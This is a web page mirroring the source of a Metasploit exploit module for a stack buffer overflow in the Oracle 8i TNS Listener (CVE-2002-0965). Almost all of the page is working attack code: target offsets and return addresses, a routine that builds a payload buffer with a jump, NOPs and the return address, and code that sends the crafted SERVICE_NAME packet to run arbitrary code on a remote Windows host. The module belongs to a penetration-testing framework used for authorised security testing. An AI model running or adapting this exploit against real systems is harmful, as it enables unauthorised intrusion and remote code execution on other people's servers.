Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/oracle/tns_service_name.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::TNS
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Oracle. When
18
sending a specially crafted packet containing a long SERVICE_NAME
19
to the TNS service, an attacker may be able to execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2002-0965'],
25
[ 'OSVDB', '5041'],
26
[ 'BID', '4845'],
27
[ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],
28
],
29
'Privileged' => true,
30
'DefaultOptions' => {
31
'EXITFUNC' => 'thread',
32
},
33
'Payload' => {
34
'Space' => 600,
35
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],
41
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6392, 'Ret' => 0x60a1e154 }],
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2002-05-27',
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options([Opt::RPORT(1521)])
54
end
55
56
def check
57
connect
58
59
version = "(CONNECT_DATA=(COMMAND=VERSION))"
60
pkt = tns_packet(version)
61
sock.put(pkt)
62
63
sock.get_once
64
res = sock.get_once(-1, 1)
65
66
disconnect
67
68
if (res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/)
69
return Exploit::CheckCode::Appears
70
end
71
72
return Exploit::CheckCode::Safe
73
end
74
75
def exploit
76
connect
77
78
buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
79
buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
80
buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)
81
82
sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"
83
84
pkt = tns_packet(sploit)
85
86
print_status("Trying target #{target.name}...")
87
sock.put(pkt)
88
89
handler
90
91
disconnect
92
end
93
end
94
95